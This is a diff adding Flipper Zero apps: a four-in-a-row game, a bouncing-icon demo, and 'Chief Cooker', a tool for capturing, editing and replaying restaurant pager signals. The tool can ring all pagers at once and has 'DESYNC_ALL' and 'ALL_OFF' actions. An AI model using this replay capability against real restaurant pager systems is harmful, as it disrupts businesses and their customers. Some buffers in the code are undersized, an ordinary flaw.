+    int j, len = i;
+    char temp;
+    for(j = 0; j < len / 2; j++) {
+        temp = str[j];
+        str[j] = str[len - j - 1];
+        str[len - j - 1] = temp;
+    }
+}
+
+int next_height(int x) {
+    if(matrix[0][x] != 0) {
+        return -1;
+    }
+    for(size_t y = 1; y < 6; y++) {
+        if(matrix[y][x] != 0) {
+            return y - 1;
+        }
+    }
+    return 5;
+}
+
+int wincheck() {
+    for(size_t y = 0; y <= 2; y++) {
+        for(size_t x = 0; x <= 6; x++) {
+            if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x] &&
+               matrix[y][x] == matrix[y + 2][x] && matrix[y][x] == matrix[y + 3][x]) {
+                return matrix[y][x];
+            }
+        }
+    }
+
+    for(size_t y = 0; y <= 5; y++) {
+        for(size_t x = 0; x <= 3; x++) {
+            if(matrix[y][x] != 0 && matrix[y][x] == matrix[y][x + 1] &&
+               matrix[y][x] == matrix[y][x + 2] && matrix[y][x] == matrix[y][x + 3]) {
+                return matrix[y][x];
+            }
+        }
+    }
+
+    for(size_t y = 0; y <= 2; y++) {
+        for(size_t x = 0; x <= 3; x++) {
+            if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x + 1] &&
+               matrix[y][x] == matrix[y + 2][x + 2] && matrix[y][x] == matrix[y + 3][x + 3]) {
+                return matrix[y][x];
+            }
+        }
+    }
+
+    for(size_t y = 3; y <= 5; y++) {
+        for(size_t x = 0; x <= 3; x++) {
+            if(matrix[y][x] != 0 && matrix[y][x] == matrix[y - 1][x + 1] &&
+               matrix[y][x] == matrix[y - 2][x + 2] && matrix[y][x] == matrix[y - 3][x + 3]) {
+                return matrix[y][x];
+            }
+        }
+    }
+
+    bool tf = true;
+    for(size_t y = 0; y < 6; y++) {
+        for(size_t x = 0; x < 7; x++) {
+            if(matrix[y][x] == 0) {
+                tf = false;
+            }
+        }
+    }
+    if(tf) {
+        return 0;
+    }
+
+    return -1;
+}
+
+static void draw_callback(Canvas* canvas, void* ctx) {
+    furi_assert(ctx);
+    const FourInRowState* fourinrow_state = ctx;
+
+    furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever);
+    canvas_clear(canvas);
+
+    if(wincheck() != -1) {
+        canvas_set_font(canvas, FontPrimary);
+
+        if(wincheck() == 0) {
+            canvas_draw_str(canvas, 30, 35, "Draw! O_o");
+        }
+        if(wincheck() == 1) {
+            canvas_draw_str(canvas, 30, 35, "Player X win!");
+        }
+        if(wincheck() == 2) {
+            canvas_draw_str(canvas, 30, 35, "Player O win!");
+        }
+
+        furi_mutex_release(fourinrow_state->mutex);
+
+        return;
+    }
+
+    for(size_t i = 0; i < 6; i++) {
+        for(size_t j = 0; j < 7; j++) {
+            char el[2];
+            switch(matrix[i][j]) {
+            case 0:
+                strcpy(el, "_\0");
+                break;
+
+            case 1:
+                strcpy(el, "X\0");
+                break;
+
+            case 2:
+                strcpy(el, "O\0");
+                break;
+            }
+            canvas_draw_str(canvas, j * 10 + 10, i * 10 + 10, el);
+        }
+    }
+    canvas_draw_str(canvas, cursorx * 10 + 8, cursory * 10 + 10, "[ ]");
+
+    if(player == 1) {
+        canvas_draw_str(canvas, 80, 10, "Turn: X");
+    }
+    if(player == 2) {
+        canvas_draw_str(canvas, 80, 10, "Turn: O");
+    }
+    char scX[1];
+    intToStr(scoreX, scX);
+    char scO[1];
+    intToStr(scoreO, scO);
+
+    canvas_draw_str(canvas, 80, 20, "X:");
+    canvas_draw_str(canvas, 90, 20, scX);
+
+    canvas_draw_str(canvas, 80, 30, "O:");
+    canvas_draw_str(canvas, 90, 30, scO);
+
+    furi_mutex_release(fourinrow_state->mutex);
+}
+
+static void input_callback(InputEvent* input_event, void* ctx) {
+    // Проверяем, что контекст не нулевой
+    furi_assert(ctx);
+    FuriMessageQueue* event_queue = ctx;
+
+    furi_message_queue_put(event_queue, input_event, FuriWaitForever);
+}
+
+int32_t four_in_row_app(void* p) {
+    UNUSED(p);
+
+    // Текущее событие типа InputEvent
+    InputEvent event;
+    // Очередь событий на 8 элементов размера InputEvent
+    FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
+
+    FourInRowState* fourinrow_state = malloc(sizeof(FourInRowState));
+
+    fourinrow_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); // Alloc Mutex
+    if(!fourinrow_state->mutex) {
+        FURI_LOG_E("4inRow", "cannot create mutex\r\n");
+        furi_message_queue_free(event_queue);
+        free(fourinrow_state);
+        return 255;
+    }
+
+    dolphin_deed(DolphinDeedPluginGameStart);
+
+    // Создаем новый view port
+    ViewPort* view_port = view_port_alloc();
+    // Создаем callback отрисовки, без контекста
+    view_port_draw_callback_set(view_port, draw_callback, fourinrow_state);
+    // Создаем callback нажатий на клавиши, в качестве контекста передаем
+    // нашу очередь сообщений, чтоб запихивать в неё эти события
+    view_port_input_callback_set(view_port, input_callback, event_queue);
+
+    // Создаем GUI приложения
+    Gui* gui = furi_record_open(RECORD_GUI);
+    // Подключаем view port к GUI в полноэкранном режиме
+    gui_add_view_port(gui, view_port, GuiLayerFullscreen);
+    NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
+    notification_message_block(notification, &sequence_display_backlight_enforce_on);
+
+    // Бесконечный цикл обработки очереди событий
+    while(1) {
+        // Выбираем событие из очереди в переменную event (ждем бесконечно долго, если очередь пуста)
+        // и проверяем, что у нас получилось это сделать
+        if(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk) {
+            if((event.type == InputTypePress) && (event.key == InputKeyBack)) {
+                break;
+            }
+
+            furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever);
+            if(wincheck() != -1) {
+                notification_message(notification, &end);
+                furi_delay_ms(1000);
+                if(wincheck() == 1) {
+                    scoreX++;
+                }
+                if(wincheck() == 2) {
+                    scoreO++;
+                }
+                init();
+                furi_mutex_release(fourinrow_state->mutex);
+                continue;
+            }
+
+            if(event.type == InputTypePress) {
+                if(event.key == InputKeyOk) {
+                    int nh = next_height(cursorx);
+                    if(nh != -1) {
+                        matrix[nh][cursorx] = player;
+                        player = 3 - player;
+                    }
+                }
+                if(event.key == InputKeyUp) {
+                    //cursory--;
+                }
+                if(event.key == InputKeyDown) {
+                    //cursory++;
+                }
+                if(event.key == InputKeyLeft) {
+                    if(cursorx > 0) {
+                        cursorx--;
+                    }
+                }
+                if(event.key == InputKeyRight) {
+                    if(cursorx < 6) {
+                        cursorx++;
+                    }
+                }
+            }
+
+            furi_mutex_release(fourinrow_state->mutex);
+        }
+        view_port_update(view_port);
+    }
+
+    // Чистим созданные объекты, связанные с интерфейсом
+    view_port_enabled_set(view_port, false);
+    gui_remove_view_port(gui, view_port);
+    view_port_free(view_port);
+    furi_message_queue_free(event_queue);
+    furi_record_close(RECORD_GUI);
+    // Clear notification
+    notification_message_block(notification, &sequence_display_backlight_enforce_auto);
+    furi_record_close(RECORD_NOTIFICATION);
+
+    furi_mutex_free(fourinrow_state->mutex);
+
+    free(fourinrow_state);
+
+    return 0;
+}

applications/system/4inrow_game/ReadMe.md

@@ -0,0 +1 @@
+Four in row for flipper zero!!

applications/system/4inrow_game/application.fam

@@ -0,0 +1,17 @@
+App(
+    appid="4inrow",
+    name="4 in row",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="four_in_row_app",
+    requires=[
+        "gui",
+    ],
+    stack_size=1 * 1024,
+    order=90,
+    fap_icon="4inrow_10px.png",
+    fap_category="Games",
+    fap_author="leo-need-more-coffee",
+    fap_weburl="https://github.com/leo-need-more-coffee/flipperzero-4inrow",
+    fap_version="1.3",
+    fap_description="4 in row Game",
+)

applications/system/DVD-Bounce/README.md

@@ -0,0 +1,6 @@
+# Flipper-DVD-Bounce
+**simple dvd-bounce application for flipper**
+
+Y'know how dvd players got that thing that bounces around?
+
+*This is that*

applications/system/DVD-Bounce/application.fam

@@ -0,0 +1,15 @@
+# qv. https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md
+
+App(
+    appid="dvd_bounce",
+    name="DVD Bouncer",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="bounce_moment",
+    requires=[
+        "gui",
+    ],
+    stack_size=1 * 1024,
+    fap_icon="iconimage.png",
+    fap_category="Games",
+    fap_icon_assets="assets",
+)

applications/system/DVD-Bounce/dvdbounce.c

@@ -0,0 +1,142 @@
+#include <string.h>
+#include <furi.h>
+#include <furi_hal.h>
+#include <gui/gui.h>
+#include <input/input.h>
+#include "dvd_bounce_icons.h"
+
+//init some variables
+int x = 0;
+int y = 0;
+int mode = 0;
+bool bounce_up = false;
+bool bounce_right = true;
+char mode_str[12];
+
+//the thing to draw to the screen
+static void app_draw_callback(Canvas* canvas, void* ctx) {
+    UNUSED(ctx);
+    canvas_clear(canvas);
+
+    //draws the ball to positions x and y
+    canvas_draw_icon(canvas, x, y, &I_Ok_btn_pressed_13x13);
+
+    //displays the current mode
+    canvas_set_font(canvas, FontSecondary);
+    canvas_draw_str(canvas, 2, 8, "Mode:");
+    //converts mode int to string
+    itoa(mode, mode_str, 10);
+    canvas_draw_str(canvas, 28, 8, mode_str);
+    switch(mode) {
+    case 1:
+        canvas_draw_str(canvas, 2, 16, "Left/Right");
+        break;
+    case 2:
+        canvas_draw_str(canvas, 2, 16, "Up/Down");
+        break;
+    default:
+        canvas_draw_str(canvas, 2, 16, "Normal");
+        break;
+    }
+}
+
+static void app_input_callback(InputEvent* input_event, void* ctx) {
+    furi_assert(ctx);
+
+    FuriMessageQueue* event_queue = ctx;
+    furi_message_queue_put(event_queue, input_event, FuriWaitForever);
+}
+
+int32_t bounce_moment(void* p) {
+    UNUSED(p);
+    FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
+
+    // Configure viewport
+    ViewPort* view_port = view_port_alloc();
+    view_port_draw_callback_set(view_port, app_draw_callback, view_port);
+    view_port_input_callback_set(view_port, app_input_callback, event_queue);
+
+    // Register viewport in GUI
+    Gui* gui = furi_record_open(RECORD_GUI);
+    gui_add_view_port(gui, view_port, GuiLayerFullscreen);
+
+    InputEvent event;
+
+    bool running = true;
+    while(running) {
+        if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) {
+            if((event.type == InputTypePress) || (event.type == InputTypeRepeat)) {
+                //arrows move the ball by 10 in their respective directions
+                switch(event.key) {
+                case InputKeyUp:
+                    y += -10;
+                    break;
+
+                case InputKeyDown:
+                    y += 10;
+                    break;
+
+                case InputKeyLeft:
+                    x += -10;
+                    break;
+
+                case InputKeyRight:
+                    x += 10;
+                    break;
+                //sets the ball to the middle of the screen and sets the current mode
+                case InputKeyOk:
+                    x = 51;
+                    y = 19;
+                    if(mode == 2) {
+                        mode = 0;
+                    } else {
+                        mode += 1;
+                    }
+                    break;
+                //exits the program if back is pressed
+                default:
+                    running = false;
+                    break;
+                }
+            }
+        }
+
+        //bunch of conditionals determining how the ball should move
+        if(x <= 0) {
+            bounce_up = false;
+        }
+        if(x >= 115) {
+            bounce_up = true;
+        }
+        if(y <= 0) {
+            bounce_right = true;
+        }
+        if(y >= 51) {
+            bounce_right = false;
+        }
+
+        if((bounce_up) && (mode != 2)) {
+            x += -1;
+        }
+        if((!bounce_up) && (mode != 2)) {
+            x += 1;
+        }
+        if((bounce_right) && (mode != 1)) {
+            y += 1;
+        }
+        if((!bounce_right) && (mode != 1)) {
+            y += -1;
+        }
+
+        view_port_update(view_port);
+    }
+    //cleanup go brrrrr
+    view_port_enabled_set(view_port, false);
+    gui_remove_view_port(gui, view_port);
+    view_port_free(view_port);
+    furi_message_queue_free(event_queue);
+
+    furi_record_close(RECORD_GUI);
+
+    return 0;
+}

applications/system/FZ-ChiefCooker/.clang-format

@@ -0,0 +1,246 @@
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+AlwaysBreakTemplateDeclarations: Yes
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+  InCStyleCasts:   false
+  InConditionalStatements: false
+  InEmptyParentheses: false
+  Other:           false
+SpacesInSquareBrackets: false
+Standard:        c++20
+StatementAttributeLikeMacros:
+  - Q_EMIT
+StatementMacros:
+  - Q_UNUSED
+  - QT_REQUIRE_VERSION
+TabWidth:        4
+UseTab:          Never
+VerilogBreakBetweenInstancePorts: true
+WhitespaceSensitiveMacros:
+  - STRINGIZE
+  - PP_STRINGIZE
+  - BOOST_PP_STRINGIZE
+  - NS_SWIFT_NAME
+  - CF_SWIFT_NAME
+...
+

applications/system/FZ-ChiefCooker/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 Denr01
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

applications/system/FZ-ChiefCooker/README.md

@@ -0,0 +1,72 @@
+# Chief Cooker
+Your ultimate Flipper Zero restaurant pager tool. Be a _real chief_ of all the restaurants on the food court!
+
+This app supports receiving, decoding, editing and sending restaurant pager signals. 
+
+**Developed & compatible with [Momentum firmware](https://github.com/Next-Flip/Momentum-Firmware).** Other firmwares are most likely not supported (but I've not tried).
+
+## Video demo
+[![Video 1](https://img.youtube.com/vi/iuQSyesS9-o/0.jpg)](https://youtube.com/shorts/iuQSyesS9-o)
+
+More demos:
+- [Video 2](https://youtube.com/shorts/KGDAGblbtFo)
+- [Video 3](https://youtube.com/shorts/QqbfHF-yDiE)
+
+## Disclaimer
+I've built this app for research and learning purposes. But please, don't use it in a way that could hurt anyone or anything.
+
+Use it responsibly, okay?
+
+## [Usage instructions](instructions/instructions.md)
+Please, read the [instructions](instructions/instructions.md) before using the app. It will definitely make your life easier!
+
+## Features
+- **Receive** signals from pager stations
+- Automatically **decode** them and dsiplay station number, pager number and action (Ring/Mute/etc)
+- Manually **change encoding in real-time** to look for the best one if automatically detected encoding is not working
+- **Resend** captured message to specific pager to all at once to **make them all ring**!
+- **Modify** captured signal, e.g. change pager number or action
+- **Save** captured signals (and give each station a name)
+- Create separate **categories** for each food court you are chief on
+- Display signals from saved stations **by ther names** (instead of HEX code) or hide them from list
+- **Send** signals from saved stations at any time, no need to capture it again
+- Of course, suports working with **external CC1101 module** to cover the area of all the pagers on your food court! 
+
+## Supported protocols
+- Princeton
+- SMC5326
+
+## Supported pager encodings
+- Retekess TD157
+- Retekess TD165/T119
+- Retekess TD174
+- L8R / Retekess T111 (not tested)
+- L8S / iBells ZJ-68 (check [source code](app/pager/decoder/L8SDecoder.hpp#L8) for description)
+
+## Contributing
+If you want to add any new pager encoding, please feel free to create PR with it!
+
+Also you can open issue and share with me any captured data (and at least pager number) if you have any and maybe I'll try create a decoder for it
+
+## Building
+If you build the source code just with regular `ufbt` command, the app will probably crash due to out of memory error because your device will have less that 10 kb of free RAM on the "Scan" screen.
+
+This is because after you compile the app with ufbt, the result executable will contain hundreds of sections with very long names like `.fast.rel.text._ZNSt17_Function_handlerIFvmEZN18PagerActionsScreenC4EP9AppConfigSt8functionIFP15StoredPagerDatavEEP12PagerDecoderP13PagerProtocolP12SubGhzModuleEUlmE_E9_M_invokeERKSt9_Any_dataOm`.
+**These names stay in RAM during the execution and consume about 20kb of heap!**
+
+The reason for it is [name mangling](https://en.wikipedia.org/wiki/Name_mangling). Perhaps, the gcc parameter `-fno-mangle` could disable it, but unfortunately, it is not possible to pass any arguments to gcc when you compile app with `ufbt`. 
+Luckily the sections inside the compiled file can be renamed using gcc's `objcopy` tool with `--rename-section` parameter. To automate it, I built a small python script which renames them all and gives them short names like `_s1`, `_s2`, `_s228` etc... 
+
+**Therfore you must use [scripts/build-and-clear.py](scripts/build-and-clear.py) script instead!** It will build, rename sections and upload the fap to flipper.
+
+After building and cleaning your `.fap` with it, you'll get extra +20kb of free RAM which will make compiled app work stably.
+
+The `.fap` files under the release tab are already cleared with this script, so if you just want to use this app without modifications, just forget about it and download the latest one from releases.
+
+## Support & Donate
+
+> [PayPal](https://paypal.me/denr01)
+
+## Special Thanks
+- [meoker/pagger](https://github.com/meoker/pagger) for Retekess pager encodings
+- This [awesome repository](https://dev.xcjs.com/r0073dl053r/flipper-playground/-/tree/main/Sub-GHz/Restaurant_Pagers?ref_type=heads) for Retekess T111 and iBells ZJ-68 files

applications/system/FZ-ChiefCooker/app/App.hpp

@@ -0,0 +1,33 @@
+#pragma once
+
+#include "lib/ui/UiManager.hpp"
+#include "lib/hardware/notification/Notification.hpp"
+#include "lib/hardware/subghz/FrequencyManager.hpp"
+
+#include "AppConfig.hpp"
+#include "app/screen/MainMenuScreen.hpp"
+
+using namespace std;
+
+class App {
+public:
+    void Run() {
+        UiManager* ui = UiManager::GetInstance();
+        ui->InitGui();
+
+        FrequencyManager* frequencyManager = FrequencyManager::GetInstance();
+        AppConfig* config = new AppConfig();
+        config->Load();
+
+        MainMenuScreen* mainMenuScreen = new MainMenuScreen(config);
+        ui->PushView(mainMenuScreen->GetView());
+        ui->RunEventLoop();
+
+        delete frequencyManager;
+        delete mainMenuScreen;
+        delete config;
+        delete ui;
+
+        Notification::Dispose();
+    }
+};

applications/system/FZ-ChiefCooker/app/AppConfig.hpp

@@ -0,0 +1,78 @@
+#pragma once
+
+#include <cstdint>
+
+#include "app/AppFileSystem.hpp"
+#include "lib/file/FileManager.hpp"
+#include "app/pager/SavedStationStrategy.hpp"
+
+#define KEY_CONFIG_FREQUENCY      "Frequency"
+#define KEY_CONFIG_MAX_PAGERS     "MaxPagerForBatchOrDetection"
+#define KEY_CONFIG_REPEATS        "SignalRepeats"
+#define KEY_CONFIG_SAVED_STRATEGY "SavedStationStrategy"
+#define KEY_CONFIG_AUTOSAVE       "AutosaveFoundSignals"
+#define KEY_CONFIG_USER_CATGEGORY "UserCategory"
+
+class AppConfig {
+public:
+    uint32_t Frequency = 433920000;
+    uint32_t MaxPagerForBatchOrDetection = 30;
+    uint32_t SignalRepeats = 10;
+    SavedStationStrategy SavedStrategy = SHOW_NAME;
+    bool AutosaveFoundSignals = true;
+    String* CurrentUserCategory = NULL;
+
+private:
+    void readFromFile(FlipperFile* file) {
+        String* userCat = new String();
+        uint32_t savedStrategyValue = SavedStrategy;
+        if(CurrentUserCategory != NULL) {
+            delete CurrentUserCategory;
+        }
+
+        file->ReadUInt32(KEY_CONFIG_FREQUENCY, &Frequency);
+        file->ReadUInt32(KEY_CONFIG_MAX_PAGERS, &MaxPagerForBatchOrDetection);
+        file->ReadUInt32(KEY_CONFIG_REPEATS, &SignalRepeats);
+        file->ReadUInt32(KEY_CONFIG_SAVED_STRATEGY, &savedStrategyValue);
+        file->ReadBool(KEY_CONFIG_AUTOSAVE, &AutosaveFoundSignals);
+        file->ReadString(KEY_CONFIG_USER_CATGEGORY, userCat);
+
+        SavedStrategy = static_cast<enum SavedStationStrategy>(savedStrategyValue);
+        if(!userCat->isEmpty()) {
+            CurrentUserCategory = userCat;
+        } else {
+            CurrentUserCategory = NULL;
+            delete userCat;
+        }
+    }
+
+    void writeToFile(FlipperFile* file) {
+        file->WriteUInt32(KEY_CONFIG_FREQUENCY, Frequency);
+        file->WriteUInt32(KEY_CONFIG_MAX_PAGERS, MaxPagerForBatchOrDetection);
+        file->WriteUInt32(KEY_CONFIG_REPEATS, SignalRepeats);
+        file->WriteUInt32(KEY_CONFIG_SAVED_STRATEGY, SavedStrategy);
+        file->WriteBool(KEY_CONFIG_AUTOSAVE, AutosaveFoundSignals);
+        file->WriteString(KEY_CONFIG_USER_CATGEGORY, CurrentUserCategory != NULL ? CurrentUserCategory->cstr() : "");
+    }
+
+public:
+    void Load() {
+        FlipperFile* configFile = FileManager().OpenRead(CONFIG_FILE_PATH);
+        if(configFile != NULL) {
+            readFromFile(configFile);
+            delete configFile;
+        }
+    }
+
+    void Save() {
+        FlipperFile* configFile = FileManager().OpenWrite(CONFIG_FILE_PATH);
+        if(configFile != NULL) {
+            writeToFile(configFile);
+            delete configFile;
+        }
+    }
+
+    const char* GetCurrentUserCategoryCstr() {
+        return CurrentUserCategory == NULL ? NULL : CurrentUserCategory->cstr();
+    }
+};

applications/system/FZ-ChiefCooker/app/AppFileSystem.hpp

@@ -0,0 +1,188 @@
+#pragma once
+
+#include <storage/storage.h>
+#include <forward_list>
+
+#include "app/pager/PagerSerializer.hpp"
+#include "lib/file/FileManager.hpp"
+#include "pager/data/NamedPagerData.hpp"
+
+// .fff stands for (f)lipper (f)ile (f)ormat
+#define CONFIG_FILE_PATH APP_DATA_PATH("config.fff")
+
+#define STATIONS_PATH          APP_DATA_PATH("stations")
+#define STATIONS_PATH_OF(path) STATIONS_PATH "/" path
+
+#define SAVED_STATIONS_PATH     STATIONS_PATH_OF("saved")
+#define AUTOSAVED_STATIONS_PATH STATIONS_PATH_OF("autosaved")
+
+#define MAX_FILENAME_LENGTH 16
+
+using namespace std;
+
+enum CategoryType {
+    User,
+    Autosaved,
+
+    NotSelected,
+};
+
+class AppFileSysytem {
+private:
+    String* getCategoryPath(CategoryType categoryType, const char* category) {
+        switch(categoryType) {
+        case User:
+            if(category != NULL) {
+                return new String("%s/%s", SAVED_STATIONS_PATH, category);
+            } else {
+                return new String(SAVED_STATIONS_PATH);
+            }
+
+        case Autosaved:
+            return new String("%s/%s", AUTOSAVED_STATIONS_PATH, category);
+
+        default:
+        case NotSelected:
+            return NULL;
+        }
+    }
+
+    String* getFilePath(CategoryType categoryType, const char* category, StoredPagerData* pager) {
+        String* categoryPath = getCategoryPath(categoryType, category);
+        String* pagerFilename = PagerSerializer().GetFilename(pager);
+        String* filePath = new String("%s/%s", categoryPath->cstr(), pagerFilename->cstr());
+        delete categoryPath;
+        delete pagerFilename;
+        return filePath;
+    }
+
+public:
+    int GetCategories(forward_list<char*>* categoryList, CategoryType categoryType) {
+        const char* dirPath;
+        switch(categoryType) {
+        case User:
+            dirPath = SAVED_STATIONS_PATH;
+            break;
+
+        case Autosaved:
+            dirPath = AUTOSAVED_STATIONS_PATH;
+            break;
+
+        default:
+            return 0;
+        }
+
+        FileManager fileManager = FileManager();
+        Directory* dir = fileManager.OpenDirectory(dirPath);
+        uint16_t categoriesLoaded = 0;
+
+        if(dir != NULL) {
+            char fileName[MAX_FILENAME_LENGTH];
+            while(dir->GetNextDir(fileName, MAX_FILENAME_LENGTH)) {
+                char* category = new char[strlen(fileName)];
+                strcpy(category, fileName);
+                categoryList->push_front(category);
+                categoriesLoaded++;
+            }
+        }
+
+        delete dir;
+        return categoriesLoaded;
+    }
+
+    size_t GetStationsFromDirectory(
+        forward_list<NamedPagerData>* stationList,
+        ProtocolAndDecoderProvider* pdProvider,
+        CategoryType categoryType,
+        const char* category,
+        bool loadNames
+    ) {
+        FileManager fileManager = FileManager();
+        String* stationDirPath = getCategoryPath(categoryType, category);
+        Directory* dir = fileManager.OpenDirectory(stationDirPath->cstr());
+        PagerSerializer serializer = PagerSerializer();
+        size_t stationsLoaded = 0;
+
+        if(dir != NULL) {
+            char fileName[MAX_FILENAME_LENGTH];
+            while(dir->GetNextFile(fileName, MAX_FILENAME_LENGTH)) {
+                String* stationName = new String();
+                StoredPagerData pager =
+                    serializer.LoadPagerData(&fileManager, stationName, stationDirPath->cstr(), fileName, pdProvider);
+
+                if(!loadNames) {
+                    delete stationName;
+                    stationName = NULL;
+                }
+
+                NamedPagerData returnData = NamedPagerData();
+                returnData.storedData = pager;
+                returnData.name = stationName;
+                stationList->push_front(returnData);
+                stationsLoaded++;
+            }
+        }
+
+        delete dir;
+        delete stationDirPath;
+
+        return stationsLoaded;
+    }
+
+    String* GetOnlyStationName(CategoryType categoryType, const char* category, StoredPagerData* pager) {
+        FileManager fileManager = FileManager();
+        String* categoryPath = getCategoryPath(categoryType, category);
+        String* name = PagerSerializer().LoadOnlyStationName(&fileManager, categoryPath->cstr(), pager);
+        delete categoryPath;
+        return name;
+    }
+
+    void AutoSave(StoredPagerData* storedData, PagerDecoder* decoder, PagerProtocol* protocol, uint32_t frequency) {
+        DateTime datetime;
+        furi_hal_rtc_get_datetime(&datetime);
+        String* todayDate = new String("%d-%02d-%02d", datetime.year, datetime.month, datetime.day);
+        String* todaysDir = getCategoryPath(Autosaved, todayDate->cstr());
+
+        FileManager fileManager = FileManager();
+        fileManager.CreateDirIfNotExists(STATIONS_PATH);
+        fileManager.CreateDirIfNotExists(AUTOSAVED_STATIONS_PATH);
+        fileManager.CreateDirIfNotExists(todaysDir->cstr());
+
+        PagerSerializer().SavePagerData(&fileManager, todaysDir->cstr(), "", storedData, decoder, protocol, frequency);
+
+        delete todaysDir;
+        delete todayDate;
+    }
+
+    void SaveToUserCategory(
+        const char* userCategory,
+        const char* stationName,
+        StoredPagerData* storedData,
+        PagerDecoder* decoder,
+        PagerProtocol* protocol,
+        uint32_t frequency
+    ) {
+        String* catDir = getCategoryPath(User, userCategory);
+
+        FileManager fileManager = FileManager();
+        fileManager.CreateDirIfNotExists(STATIONS_PATH);
+        fileManager.CreateDirIfNotExists(AUTOSAVED_STATIONS_PATH);
+        fileManager.CreateDirIfNotExists(catDir->cstr());
+
+        PagerSerializer().SavePagerData(&fileManager, catDir->cstr(), stationName, storedData, decoder, protocol, frequency);
+
+        delete catDir;
+    }
+
+    void DeletePager(const char* userCategory, StoredPagerData* storedData) {
+        String* filePath = getFilePath(User, userCategory, storedData);
+        FileManager().DeleteFile(filePath->cstr());
+        delete filePath;
+    }
+
+    void DeleteCategory(const char* userCategory) {
+        String* catPath = getCategoryPath(User, userCategory);
+        FileManager().DeleteFile(catPath->cstr());
+        delete catPath;
+    }
+};

applications/system/FZ-ChiefCooker/app/AppNotifications.hpp

@@ -0,0 +1,16 @@
+#pragma once
+
+#include "lib/hardware/notification/Notification.hpp"
+
+const NotificationSequence NOTIFICATION_PAGER_RECEIVE = {
+    &message_vibro_on,
+    &message_note_e6,
+
+    &message_blue_255,
+    &message_delay_50,
+
+    &message_sound_off,
+    &message_vibro_off,
+
+    NULL,
+};

applications/system/FZ-ChiefCooker/app/pager/PagerAction.hpp

@@ -0,0 +1,42 @@
+#pragma once
+
+enum PagerAction {
+    UNKNOWN,
+    RING,
+    MUTE,
+    DESYNC,
+    TURN_OFF_ALL,
+
+    PagerActionCount,
+};
+
+class PagerActions {
+public:
+    static const char* GetDescription(PagerAction action) {
+        switch(action) {
+        case UNKNOWN:
+            return "?";
+        case RING:
+            return "RING";
+        case MUTE:
+            return "MUTE";
+        case DESYNC:
+            return "DESYNC_ALL";
+        case TURN_OFF_ALL:
+            return "ALL_OFF";
+        default:
+            return "";
+        }
+    }
+
+    static bool IsPagerActionSpecial(PagerAction action) {
+        switch(action) {
+        case DESYNC:
+        case TURN_OFF_ALL:
+            return true;
+
+        default:
+            return false;
+        }
+    }
+};

applications/system/FZ-ChiefCooker/app/pager/PagerReceiver.hpp

@@ -0,0 +1,319 @@
+#pragma once
+
+#include "ProtocolAndDecoderProvider.hpp"
+#include <cstring>
+#include <forward_list>
+
+#include "lib/hardware/subghz/FrequencyManager.hpp"
+#include "lib/hardware/subghz/data/SubGhzReceivedData.hpp"
+
+#include "app/AppConfig.hpp"
+
+#include "data/ReceivedPagerData.hpp"
+#include "data/KnownStationData.hpp"
+
+#include "protocol/PrincetonProtocol.hpp"
+#include "protocol/Smc5326Protocol.hpp"
+
+#include "decoder/Td157Decoder.hpp"
+#include "decoder/Td165Decoder.hpp"
+#include "decoder/Td174Decoder.hpp"
+#include "decoder/L8RDecoder.hpp"
+#include "decoder/L8SDecoder.hpp"
+
+#undef LOG_TAG
+#define LOG_TAG "PGR_RCV"
+
+#define MAX_REPEATS                  99
+#define PAGERS_ARRAY_SIZE_MULTIPLIER 8
+
+using namespace std;
+
+class PagerReceiver : public ProtocolAndDecoderProvider {
+public:
+    static const uint8_t protocolsCount = 2;
+    PagerProtocol* protocols[protocolsCount]{
+        new PrincetonProtocol(),
+        new Smc5326Protocol(),
+    };
+
+    static const uint8_t decodersCount = 5;
+    PagerDecoder* decoders[decodersCount]{
+        new Td157Decoder(),
+        new Td165Decoder(),
+        new Td174Decoder(),
+        new L8RDecoder(),
+        new L8SDecoder(),
+    };
+
+private:
+    AppConfig* config;
+    uint16_t nextPagerIndex = 0;
+    uint16_t pagersArraySize = PAGERS_ARRAY_SIZE_MULTIPLIER;
+    StoredPagerData* pagers = new StoredPagerData[pagersArraySize];
+    size_t knownStationsSize = 0;
+    KnownStationData* knownStations;
+    uint32_t lastFrequency = 0;
+    uint8_t lastFrequencyIndex = 0;
+    bool knownStationsLoaded = false;
+    const char* userCategory;
+
+    void loadKnownStations() {
+        AppFileSysytem appFilesystem;
+        forward_list<NamedPagerData> stations;
+        bool withNames = config->SavedStrategy == SHOW_NAME;
+
+        size_t count = appFilesystem.GetStationsFromDirectory(&stations, this, User, userCategory, withNames);
+
+        knownStations = new KnownStationData[count];
+        for(size_t i = 0; i < count; i++) {
+            knownStations[i] = buildKnownStationWithName(stations.front());
+            stations.pop_front();
+        }
+
+        knownStationsSize = count;
+        knownStationsLoaded = true;
+    }
+
+    void unloadKnownStations() {
